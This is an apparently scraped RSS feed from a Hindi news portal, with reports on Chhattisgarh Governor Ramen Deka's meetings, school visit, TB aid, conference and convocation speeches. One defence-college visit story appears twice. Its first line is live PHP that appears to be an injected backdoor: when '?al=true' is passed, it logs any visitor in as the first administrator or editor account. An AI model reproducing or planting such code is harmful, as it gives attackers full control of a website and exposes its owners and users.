// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); deka – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 26 May 2026 07:59:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 राज्यपाल रमेन डेका ने की ‘पीएम-जनमन’ योजना समीक्षा https://pratyushaashakinayikiran.com/?p=222377 Tue, 26 May 2026 07:59:00 +0000 https://pratyushaashakinayikiran.com/?p=222377 रायपुर, 
छत्तीसगढ़ के राज्यपाल रमेन डेका आज लोक भवन में 'पीएम-जनमन' (प्रधानमंत्री जनजाति आदिवासी न्याय महा अभियान) योजना की प्रगति की उच्च स्तरीय समीक्षा कर रहे हैं। इस महत्वपूर्ण समीक्षा बैठक में राज्य शासन के विभिन्न विभागों के अपर मुख्य सचिव, प्रमुख सचिव तथा सचिव स्तर के वरिष्ठ अधिकारी व्यक्तिगत रूप से उपस्थित हैं।

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रायपुर: राज्यपाल रमेन डेका से रक्षा महाविद्यालय नई दिल्ली के अध्ययन दल ने की सौजन्य भेंट https://pratyushaashakinayikiran.com/?p=206349 Fri, 20 Mar 2026 12:05:00 +0000 https://pratyushaashakinayikiran.com/?p=206349 रायपुर 

राज्यपाल रमेन डेका से आज रक्षा महाविद्यालय (NDC) नई दिल्ली के अध्ययन दल ने सौजन्य भेंट की। रक्षा महाविद्यालय द्वारा "National Security and Strategic Studies" विषय पर Understanding India Study Tour (UIST)  के अंतर्गत 16 सदस्यों का दल 15 से 20 मार्च तक छत्तीसगढ़ भ्रमण पर था। अपनी यात्रा के अंतिम दिन आज इस दल ने राज्यपाल डेका से मुलाकात की। अध्ययन दल में भारतीय सशस्त्र सेनाओं के वरिष्ठ अधिकारीगण, मित्र देशों के सेनाधिकारी तथा कुछ सिविल सेवाओं के अधिकारीगण शामिल थे। इस दल ने छत्तीसगढ़ के विभिन्न पर्यटक स्थलों, जैसे-बारनवापारा अभ्यारण्य, ट्राइबल म्यूजियम, पुरखैती मुक्तांगन, बस्तर के विभिन्न जलप्रताप, कोन्डागांव के शिल्पग्राम इत्यादि का भ्रमण किया।

           राज्यपाल डेका ने अध्ययन दल के सदस्यों को संबोधित करते हुए कहा कि छत्तीसगढ़ एक सुंदर प्रदेश है। आप सभी दोस्तों और परिवार के सदस्यों को अपने भ्रमण और छत्तीसगढ़ की खूबसूरती के बारे में बताएं, ताकि वे भी पर्यटक के रूप में यहां आ सकें। उन्होंने छत्तीसगढ़ की विशेषताओं के बारे में अध्ययन दल से चर्चा की। उन्होंने बताया कि छत्तीसगढ़ को धान का कटोरा कहा जाता है और यहां पर धान की प्रजातियों को संरक्षित करके रखा गया है। उन्होंने छत्तीसगढ़ की शिल्प कला जैसे ढोकरा आर्ट, वुडन आर्ट, बैम्बु आर्ट के बारे मंे भी चर्चा की। इस प्रदेश में प्रतिभाशाली लोगों की भी कमी नही है, अमेरिका के ह्यूस्टन में छत्तीसगढ़ के हजारों सॉफ्टवेयर इंजीनियर अपनी सेवाएं दे रहे है। इसके अलावा अमेरिका में बसे छत्तीसगढ़ के प्रवासी लोगों की संस्था नार्थ अमेरिका छत्तीसगढ़ एसोसिएशन (NACHA) अमेरिका में स्वदेशी मेले का आयोजन करते है, जहां पर छत्तीसगढ़ की कला, संस्कृति और परंपराओं का प्रदर्शन किया जाता है। उन्होंने इस दौरान ऊर्जा के नवीनीकृत स्रोतों को बढ़ावा देने, स्वास्थ्य और शिक्षा क्षेत्र में नवाचार को बढ़ावा देने की बात कही। डेका ने छत्तीसगढ़ सरकार की जनकल्याणकारी नीतियों के बारे में भी अध्ययन दल को अवगत कराया।

          अध्ययन दल के सदस्यों ने अपने अनुभव साझा करते हुए छत्तीसगढ़ की सुंदर, संस्कृति, कला और परंपराओं की सराहना की। अध्ययन दल ने छत्तीसगढ़ के आतिथ्य की तारीफ करते हुए कहा कि यहां के लोग सीधे सरल और आत्मीय है। हम सभी को यहां आकर बहुत अच्छा लगा। अध्ययन  दल के सदस्यों ने प्रदेश में संचालित लोककल्याणकारी योजनाओं जैसे महतारी वंदन, कृषक उन्नति योजना, नक्सल पुनर्वास नीति आदि की सराहना की। 

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रायपुर: राज्यपाल रमेन डेका से रक्षा महाविद्यालय नई दिल्ली के अध्ययन दल ने की सौजन्य भेंट https://pratyushaashakinayikiran.com/?p=206351 Fri, 20 Mar 2026 12:05:00 +0000 https://pratyushaashakinayikiran.com/?p=206351 रायपुर 

राज्यपाल रमेन डेका से आज रक्षा महाविद्यालय (NDC) नई दिल्ली के अध्ययन दल ने सौजन्य भेंट की। रक्षा महाविद्यालय द्वारा "National Security and Strategic Studies" विषय पर Understanding India Study Tour (UIST)  के अंतर्गत 16 सदस्यों का दल 15 से 20 मार्च तक छत्तीसगढ़ भ्रमण पर था। अपनी यात्रा के अंतिम दिन आज इस दल ने राज्यपाल डेका से मुलाकात की। अध्ययन दल में भारतीय सशस्त्र सेनाओं के वरिष्ठ अधिकारीगण, मित्र देशों के सेनाधिकारी तथा कुछ सिविल सेवाओं के अधिकारीगण शामिल थे। इस दल ने छत्तीसगढ़ के विभिन्न पर्यटक स्थलों, जैसे-बारनवापारा अभ्यारण्य, ट्राइबल म्यूजियम, पुरखैती मुक्तांगन, बस्तर के विभिन्न जलप्रताप, कोन्डागांव के शिल्पग्राम इत्यादि का भ्रमण किया।

           राज्यपाल डेका ने अध्ययन दल के सदस्यों को संबोधित करते हुए कहा कि छत्तीसगढ़ एक सुंदर प्रदेश है। आप सभी दोस्तों और परिवार के सदस्यों को अपने भ्रमण और छत्तीसगढ़ की खूबसूरती के बारे में बताएं, ताकि वे भी पर्यटक के रूप में यहां आ सकें। उन्होंने छत्तीसगढ़ की विशेषताओं के बारे में अध्ययन दल से चर्चा की। उन्होंने बताया कि छत्तीसगढ़ को धान का कटोरा कहा जाता है और यहां पर धान की प्रजातियों को संरक्षित करके रखा गया है। उन्होंने छत्तीसगढ़ की शिल्प कला जैसे ढोकरा आर्ट, वुडन आर्ट, बैम्बु आर्ट के बारे मंे भी चर्चा की। इस प्रदेश में प्रतिभाशाली लोगों की भी कमी नही है, अमेरिका के ह्यूस्टन में छत्तीसगढ़ के हजारों सॉफ्टवेयर इंजीनियर अपनी सेवाएं दे रहे है। इसके अलावा अमेरिका में बसे छत्तीसगढ़ के प्रवासी लोगों की संस्था नार्थ अमेरिका छत्तीसगढ़ एसोसिएशन (NACHA) अमेरिका में स्वदेशी मेले का आयोजन करते है, जहां पर छत्तीसगढ़ की कला, संस्कृति और परंपराओं का प्रदर्शन किया जाता है। उन्होंने इस दौरान ऊर्जा के नवीनीकृत स्रोतों को बढ़ावा देने, स्वास्थ्य और शिक्षा क्षेत्र में नवाचार को बढ़ावा देने की बात कही। डेका ने छत्तीसगढ़ सरकार की जनकल्याणकारी नीतियों के बारे में भी अध्ययन दल को अवगत कराया।

          अध्ययन दल के सदस्यों ने अपने अनुभव साझा करते हुए छत्तीसगढ़ की सुंदर, संस्कृति, कला और परंपराओं की सराहना की। अध्ययन दल ने छत्तीसगढ़ के आतिथ्य की तारीफ करते हुए कहा कि यहां के लोग सीधे सरल और आत्मीय है। हम सभी को यहां आकर बहुत अच्छा लगा। अध्ययन  दल के सदस्यों ने प्रदेश में संचालित लोककल्याणकारी योजनाओं जैसे महतारी वंदन, कृषक उन्नति योजना, नक्सल पुनर्वास नीति आदि की सराहना की। 

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रायपुर : भू-जल स्तर बचाने, डबरी निर्माण के लिए किसानों को करें प्रोत्साहित – डेका https://pratyushaashakinayikiran.com/?p=184299 Wed, 10 Sep 2025 06:45:00 +0000 https://pratyushaashakinayikiran.com/?p=184299 रायपुर

राज्यपाल रमेन डेका ने आज जल संसाधन एवं कृषि विभाग के सचिव की बैठक लेकर राज्य में घटते भू-जल स्तर पर गंभीर चिंता व्यक्त करते हुए किसानों को खेतों में डबरी निर्माण के लिए प्रोत्साहित करने का सुझाव दिया।

राज्यपाल डेका ने कहा कि वर्षा का जल संचयन ही भविष्य की कृषि और जल संकट का समाधान है। उन्होंने कहा कि किसानों को विभिन्न योजनाओं  में अनुदान उपलब्ध कराया जाता है। उन्हें अपने खाली पड़े जमीनों पर डबरी निर्माण के लिए प्रोत्साहित करने से भूजल स्तर बढ़ेगा।

राज्यपाल ने जल संसाधन और कृषि विभाग को मिलकर ठोस कार्ययोजना बनाने पर जोर दिया। राज्यपाल ने कहा कि यह पहल न केवल किसानों की सिंचाई की समस्या को हल करेगी बल्कि आने वाली पीढ़ियों के लिए जल संरक्षण का मजबूत आधार भी बनेगी।

बैठक में जल संसाधन विभाग के सचिव राजेश सुकुमार टोप्पो और कृषि विभाग की सचिव सुशहला निगार उपस्थित रहे।

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रायपुर : राज्यपाल रमेन डेका ने विद्यार्थियों को दिए सफलता के मंत्र https://pratyushaashakinayikiran.com/?p=168678 Sat, 05 Jul 2025 05:46:00 +0000 https://pratyushaashakinayikiran.com/?p=168678 रायपुर : राज्यपाल रमेन डेका ने विद्यार्थियों को दिए सफलता के मंत्र

राज्यपाल रमेन डेका महासमुंद जिले के विकासखंड पिथौरा अंतर्गत ग्राम गोडबहल के  शासकीय हायर सेकेंडरी स्कूल पहुंचे

राज्यपाल ने विद्यार्थियों को अनुशासन, समय प्रबंधन और कड़ी मेहनत का महत्व समझाते हुए जीवन में सफलता प्राप्त करने के लिए प्रेरित एवं प्रोत्साहित किया

रायपुर

राज्यपाल रमेन डेका आज महासमुंद जिले के विकासखंड पिथौरा अंतर्गत ग्राम गोडबहल के  शासकीय हायर सेकेंडरी स्कूल पहुंचे। यहां वे अध्यापक की भूमिका में नजर आए और कक्षा 9वीं, 10वीं, 11वीं एवं 12वीं के विद्यार्थियों से आत्मीय संवाद किया। उन्होंने विद्यार्थियों को अनुशासन, समय प्रबंधन और कड़ी मेहनत का महत्व समझाते हुए जीवन में सफलता प्राप्त करने के लिए प्रेरित एवं प्रोत्साहित किया।

राज्यपाल ने बच्चों को सरल भाषा में सी.वी. रमन इफेक्ट के बारे में जानकारी दी और बताया कि शिक्षा में भाषा कभी भी बाधा नहीं होती। उन्होंने कहा कि स्कूल केवल पढ़ाई का स्थान नहीं है, बल्कि यह बौद्धिक विकास का केंद्र है। बातचीत के दौरान उन्होंने '3 इडियट्स' फिल्म का उदाहरण देते हुए विद्यार्थियों से फिल्म के सकारात्मक संदेश को अपनाने की सलाह दी।

राज्यपाल डेका ने विद्यार्थियों को नई शिक्षा नीति (NEP) के प्रमुख बिंदुओं से भी अवगत कराया और कहा कि यह नीति विद्यार्थियों को उनकी रुचि और क्षमताओं के अनुसार सीखने के अवसर प्रदान करती है।

अपने संवाद के दौरान राज्यपाल ने  जानकारी दी कि  टॉपर्स विद्यार्थियों को प्रोत्साहित करते हुए पुरस्कार प्रदान किया जा रहा ।उन्होंने उनके उज्ज्वल भविष्य की शुभकामनाएं दीं।

इस आत्मीय संवाद में कक्षा 12वीं की छात्रा कु. दिव्या ने राज्यपाल से अपने लक्ष्य साझा करते हुए कहा कि वह यूपीएससी परीक्षा के माध्यम से आईएएस बनना चाहती हैं। राज्यपाल डेका ने उन्हें यूपीएससी की तैयारी के लिए महत्वपूर्ण सुझाव दिए और धैर्य तथा कड़ी मेहनत करने के लिए प्रेरित किया। इसी तरह विद्या राजपूत ने भी यूपीएससी की तैयारी हेतु मार्गदर्शन प्राप्त किया, जिन्हें भी राज्यपाल ने विशेष टिप्स और हौसला प्रदान किया।

संवाद के दौरान  कलेक्टर विनय कुमार लंगेह मौजूद रहे।

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रायपुर : राज्यपाल डेका ने सक्ति जिले के टी.बी. मरीजों को दी 60 हजार रुपए की आर्थिक सहायता https://pratyushaashakinayikiran.com/?p=162705 Tue, 10 Jun 2025 10:26:00 +0000 https://pratyushaashakinayikiran.com/?p=162705 रायपुर

राज्यपाल रमेन डेका ने सक्ति जिले के 10 टीबी मरीजों के लिए एक सराहनीय कदम उठाते हुए उन्हें पौष्टिक आहार उपलब्ध कराने हेतु 60 हजार रुपए की आर्थिक सहायता प्रदान की है। यह सहायता राशि उन्होंने अपने स्वेच्छानुदान मद से दी है, जिससे मरीजों के स्वास्थ्य में सुधार लाने में मदद मिलेगी। प्रत्येक मरीज को प्रति माह 500 रुपए के मान से एक वर्ष तक सहायता दी जाएगी।

भारत सरकार द्वारा संचालित प्रधानमंत्री टीबी मुक्त भारत अभियान के तहत राज्य को टीबी मुक्त बनाने के लिए राज्यपाल  डेका ने इस अभियान में समुदाय की भागीदारी को अत्यंत आवश्यक बताया और जन सहयोग की महत्ता पर बल दिया है। वे  जिलों के भ्रमण के दौरान मरीजों की स्थिति की जानकारी लेते हैं और उनकी हरसंभव सहायता व मदद सुनिश्चित कराते हैं।

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राज्यपाल रमेन डेका मध्यदेशीय वैश्य महासभा के राष्ट्रीय सम्मेलन में शामिल हुए https://pratyushaashakinayikiran.com/?p=147671 Thu, 10 Apr 2025 09:46:00 +0000 https://pratyushaashakinayikiran.com/?p=147671 बिलासपुर
राज्यपाल रमेन डेका आज बिलासपुर के लखीराम ऑडिटोरियम में आयोजित मध्यदेशीय वैश्य महासभा के राष्ट्रीय सम्मेलन में शामिल हुए। सम्मेलन की अध्यक्षता समाज के राष्ट्रीय अध्यक्ष डॉ. विमल कुमार गुप्ता ने की। स्थानीय विधायक अमर अग्रवाल भी इस अवसर पर उपस्थित थे। राज्यपाल डेका ने दीप प्रज्ज्वलित कर सम्मेलन का शुभारंभ किया। मुख्य अतिथि की आसंदी से राज्यपाल ने बिलासपुर में राष्ट्रीय स्तर के सम्मेलन आयोजित करने के लिए बधाई दी। उन्होंने व्यापार के साथ-साथ समाज सेवा के कार्यों में अग्रणी भूमिका निभाने के लिए महासभा की सराहना की। उनके सेवा कार्य को अन्य समाज के लिए अनुकरणीय बताया।

          मुख्य अतिथि की आसंदी से राज्यपाल ने कहा कि समाज में नशे की प्रवृति बढ़ना चिंतनीय है।  इसे रोकने के लिए शासन-प्रशासन को कड़े कदम उठाने होंगे। अन्यथा युवा पीढ़ी भटक कर गलत रास्त चुन लेगी। उन्होंने कहा कि दहेज, उपहार, आडंबर के खिलाफ समाज में जागरूकता फैलाना होगा। समाज को इन चीजों को रोकने के लिए आगे आना होगा। उन्होंने कहा कि समाज के लिए मैने क्या किया, इस पर विचार किया जाना चाहिए न कि इस बात पर कि समाज ने मुझे क्या दिया। उन्होंने एक पेड़ मां के नाम पर जारी अभियान के अंतर्गत सभी को सहभागिता निभाने की अपील की। हर आदमी को अपने घर और आस-पास पेड़ लगाकर उनकी सुरक्षा करनी चाहिए। प्रकृति और मानव तथा जीव जन्तुओं के बीच अद्भुत संतुलन है। इस संतुलन को बनाये रखने के लिए हमे अपना योगदान देना चाहिए। उन्होंने टीबी मुक्त अभियान से सभी समाजों को जुड़ने का आह्वान किया। टीबी मरीजों के पोषण आहार के लिए मदद करने का अनुरोध किया। उन्होंने कहा कि हमें बड़े-बड़े कामों पर नहीं बल्कि छोटे-छोटे कामों  पर ज्यादा ध्यान देना चाहिए। उन्होंने बदलते समय के अनुरूप अपने आप को ढालने के लिए अनुकूलन पर जोर दिया।

       विधायक अमर अग्रवाल ने बिलासपुर में आयोजित राष्ट्रीय सम्मेलन में आये देश भर के अतिथियों का अभिनंदन किया। उन्होंने कहा कि बैठक में आज समाज की प्रगति और कमियांें को दूर करने के लिए मंथन हुआ है, इसका आगामी दिनों में समाज सहित देश को जरूर लाभ मिलेगा। उन्होंने कहा कि समाज मजबूत होने पर देश भी मजबूत होगा। मध्यदेशीय वैश्य समाज के राष्ट्रीय अध्यक्ष डॉ. विमल कुमार गुप्ता ने स्वागत भाषण दिया और प्रतिवेदन प्रस्तुत किया। उन्होंने कहा कि लगभग सवा सौ साल पुरानी मध्यदेशीय वैश्य महासभा का छत्तीसगढ़ में प्रथम सम्मेलन आयोजित हुआ है। उन्होंने सबके सहयोग और सहभागिता से किये जा रहे सामाजिक सेवा कार्यों से सभा को अवगत कराया और इसे आगे भी जारी रखने का संकल्प दोहराया। समाज के प्रतिभाओं का इस अवसर पर सम्मान भी किया गया। मध्यदेशीय वैश्य महासभा के राष्ट्रीय संगठन मंत्री सुरेश गुप्ता ने अंत में आभार व्यक्त किया।

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निया की प्रगति में ज्ञान और कौशल की प्रमुख भूमिका है- राज्यपाल डेका https://pratyushaashakinayikiran.com/?p=147448 Wed, 09 Apr 2025 11:39:00 +0000 https://pratyushaashakinayikiran.com/?p=147448 रायपुर

राज्यपाल रमेन डेका आज एमिटी विश्वविद्यालय के तीसरे दीक्षांत समारोह में बतौर मुख्य अतिथि शामिल हुए। उन्होंने इस अवसर पर कहा कि आज की दुनिया की प्रगति में ज्ञान और कौशल की प्रमुख भूमिका है। उच्च शिक्षा संस्थानों को विचारकों, नेताओं और नवप्रवर्तकों की अगली पीढ़ी को आकार देने में सक्रिय भूमिका निभानी चाहिए।

    रायपुर के पं. दीनदयाल उपाध्याय ऑडिटोरियम में आयोजित दीक्षांत समारोह में राज्यपाल डेका ने विश्वविद्यालय के मेधावी विद्यार्थियों को विभिन्न पुरूस्कार एवं 18 मेधावी विद्यार्थियों को स्वर्ण पदक, 15 को रजत पदक और 6 को कांस्य पदक प्रदान किए गए। समारोह में वर्ष 2024 बैच के 660 विद्यार्थियों को स्नातक एवं स्नातकोत्तर की उपाधियां वितरित की गई। रक्षा अनुसंधान एवं विकास संगठन के वैज्ञानिक डॉ. वी.के. दास और उद्योगपति एस.एन. स्वामी को डॉक्टरेट की मानद उपाधि सहित 16 विद्यार्थियों को विभिन्न विषयों में पी.एच.डी की उपाधि प्रदान की गई।  

    इस अवसर पर राज्यपाल ने कहा कि यह दिन सभी स्नातक विद्यार्थियों के लिए वर्षों की कड़ी मेहनत, समर्पण और दृढ़ता का प्रतीक है। यह न केवल आपके लिए बल्कि आपके परिवारों, शिक्षकों और मार्गदर्शकों के लिए भी गर्व का क्षण है।

    उन्होंने कहा कि छत्तीसगढ़ लंबे समय से ज्ञान, परंपरा और उत्कृष्टता की भूमि रही है। वे स्वयं यह जानकर चकित हैं कि छत्तीसगढ़ का इतिहास रामायण काल से भी पुराना है। इस राज्य ने विज्ञान, साहित्य, संगीत, लोक कला, सिनेमा, खेल और राजनीति में बहुत योगदान दिया है। इसकी एक मजबूत शैक्षणिक, संस्कृति, शिक्षा और अनुसंधान के प्रति गहरी प्रतिबद्धता है।

    डेका ने कहा कि भारत विकास और परिवर्तन के एक नए युग की दहलीज पर खड़ा है। प्रौद्योगिकी, उद्योग, कृषि, स्वास्थ्य सेवा और डिजिटल बुनियादी ढांचे में प्रगति के साथ, हमारा देश एक वैश्विक नेता बनने के लिए तैयार है और 5 ट्रिलियन अर्थव्यवस्था बनने के लिए अग्रसर है।     डेका ने विद्यार्थियों से आव्हान किया कि वे नवाचार के बारे में सोचें और उसे अपनाए। भविष्य उन लोगों का है जो हिम्मत करते हैं। सपने देखें और उन सपनों को हासिल करने के लिए अथक परिश्रम करें। भारत को उद्यमियों, शोधकर्ताओं और दूरदर्शी लोगों की जरूरत है, जो नए विचारों और समाधानों के साथ देश को आगे बढ़ा सकें। डेका ने कहा कि भारत हमेशा से बौद्धिक और वैज्ञानिक उपलब्धियों का देश रहा है। नालंदा और तक्षशिला के प्राचीन विश्वविद्यालयों से लेकर आधुनिक शोध संस्थानों तक, हमारा देश हमेशा ज्ञान सृजन में सबसे आगे रहा है। हमारे महान भारतीय विद्वानों ने गणित, विज्ञान, चिकित्सा और दर्शन के क्षेत्र में महत्वपूर्ण योगदान दिया है।
    जीवन एक यात्रा है। आप अपने जीवन में आगे बढ़ते रहें और अच्छा करने की कोशिश करें। उन्होंने कहा कि  आप सभी आजीवन सीखने, नैतिक नेतृत्व और समाज की सेवा के लिए प्रतिबद्ध हो। शिक्षा केवल व्यक्तिगत सफलता के लिए नहीं है; यह राष्ट्र और दुनिया के प्रति एक जिम्मेदारी है।

    डेका ने कहा कि शिक्षा को व्यवसाय नहीं बनाना चाहिए बल्कि यह जीवन की उन्नति का मार्ग है। वे स्वयं शासकीय एवं निजी विश्वविद्यालयों में शिक्षा की गुणवत्ता बेहतर करने के लिए प्रयास करते रहेंगें।

इस अवसर पर डेका ने ‘एक पेड़ मां के नाम‘ पर पौधा लगाया।
    समारोह में विश्वविद्यालय के संस्थापक अध्यक्ष डॉ. अशोक के .चौहान, अध्यक्ष डॉ. असीम के. चैहान, कुलाधिपति डब्लू सेल्वमूर्ति, कुलपति डॉ. पीयूष कांत पाण्डे, रजिस्ट्रार, फैकल्टी मेंम्बर्स, डीन, प्राध्यापक, छात्र-छात्राएं एवं उनके परिजन बड़ी संख्या में  उपस्थित थे।

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